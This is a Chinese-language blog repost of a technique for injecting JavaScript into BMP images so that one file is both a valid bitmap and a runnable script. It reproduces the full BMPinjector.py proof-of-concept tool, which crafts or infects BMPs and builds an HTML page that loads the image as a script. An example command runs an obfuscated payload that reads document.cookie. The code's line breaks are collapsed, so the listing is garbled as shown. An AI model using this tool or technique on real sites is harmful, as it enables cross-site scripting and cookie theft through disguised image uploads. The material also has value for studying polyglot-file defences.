BMP图片中注入恶意JS代码

来源：互联网发布：淘宝运营必备软件编辑：程序博客网时间：2024/06/10 11:57

转至http://marcoramilli.blogspot.com/2013/10/hacking-through-images.html(需翻墙）

http://danqingdani.blog.163.com/blog/static/186094195201392303213948/ (中文翻译)

1. 将原BMP文件的第三，第四字节替换为\x2F\x2A，对应js中的注释符号/*
BMP文件的第三、四、五、六字节表示BMP文件的大小
2. 在BMP文件末尾添加
（1）\xFF
（2）\x2A\x2F,对应的js中的注释符号*/
（3）\x3D\x31\x3B,对应的=1; 是为了伪造成BMP格式
（4）定制的JS代码

BMPinjector.py 代码如下

#!/usr/bin/env python2#============================================================================================================##======= Simply injects a JavaScript Payload into a BMP. ====================================================##======= The resulting BMP must be a valid (not corrupted) BMP. =============================================##======= Author: marcoramilli.blogspot.com ==================================================================##======= Version: PoC (don't even think to use it in development env.) ======================================##======= Disclaimer: ========================================================================================##THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE#POSSIBILITY OF SUCH DAMAGE.#===========================================================================================================#import argparseimport os#---------------------------------------------------------def _hexify(num):"""Converts and formats to hexadecimal"""num = "%x" % numif len(num) % 2:num = '0'+numreturn num.decode('hex')#---------------------------------------------------------#Example payload: "var _0xe428=[\""+ b'\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64' + "\"]#;alert(_0xe428[0]);"def _generate_and_write_to_file(payload, fname):"""Generates a fake but valid BMP within scriting"""f = open(fname, "wb")header = (b'\x42\x4D'  #Signature BMb'\x2F\x2A\x00\x00' #Header File size, but encoded as /* <-- Yes it's a valid header b'\x00\x00\x00\x00' #Reservedb'\x00\x00\x00\x00' #bitmap data offsetb''+ _hexify( len(payload) ) + #bitmap header size  b'\x00\x00\x00\x14' #width 20pixel .. it's up to youb'\x00\x00\x00\x14' #height 20pixel .. it's up to you  b'\x00\x00' #nb_planb'\x00\x00' #nb per pixelb'\x00\x10\x00\x00' #compression typeb'\x00\x00\x00\x00' #image size .. its ignoredb'\x00\x00\x00\x01' #Horizontal resolutionb'\x00\x00\x00\x01' #Vertial resolutionb'\x00\x00\x00\x00' #number of colorsb'\x00\x00\x00\x00' #number important colorsb'\x00\x00\x00\x80' #palet colors to be complientb'\x00\x80\xff\x80' #palet colors to be complientb'\x80\x00\xff\x2A' #palet colors to be complientb'\x2F\x3D\x31\x3B' #*/=1;)# I made this explicit, step by step .f.write(header)f.write(payload)f.close()return True#---------------------------------------------------------def _generate_launching_page(f):"""Creates the HTML launching page"""htmlpage ="""<html><head><title>Opening an image</title> </head><body><img src=\"""" + f + """\"\><script src= \"""" + f + """\"> </script></body></html>"""html = open("run.html", "wb")html.write(htmlpage);html.close()return True#---------------------------------------------------------def _inject_into_file(payload, fname):"""Injects the payload into existing BMPNOTE: if the BMP contains \xFF\x2A might caouse issues"""# I know, I can do it all in memory and much more fast.# I wont do it here.f = open(fname, "r+b")b = f.read()b.replace(b'\x2A\x2F',b'\x00\x00')f.close()f = open(fname, "w+b")f.write(b)f.seek(2,0)f.write(b'\x2F\x2A')f.close()f = open(fname, "a+b")f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')f.write(payload)f.close()return True#---------------------------------------------------------if __name__ == "__main__":parser = argparse.ArgumentParser()parser.add_argument("filename",help="the bmp file name to be generated/or infected")parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")parser.add_argument("-i", "--inject-to-existing-bmp", action="store_true", help="inject into the current bitmap")args = parser.parse_args()print("""|======================================================================================================|| [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal.          || It is the end user's responsibility to obey all applicable local, state and federal laws.            || Authors assume no liability and are not responsible for any misuse or damage caused by this program  ||======================================================================================================|""")if args.inject_to_existing_bmp: _inject_into_file(args.js_payload, args.filename)else:_generate_and_write_to_file(args.js_payload, args.filename)_generate_launching_page(args.filename)print "[+] Finished!"

执行

python BMPinjector.py -i 1.bmp "var _0x9c4c=\"\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\"; function MsgBox(_0xccb4x3){alert(eval(_0xccb4x3));} ;MsgBox(_0x9c4c);"

效果如图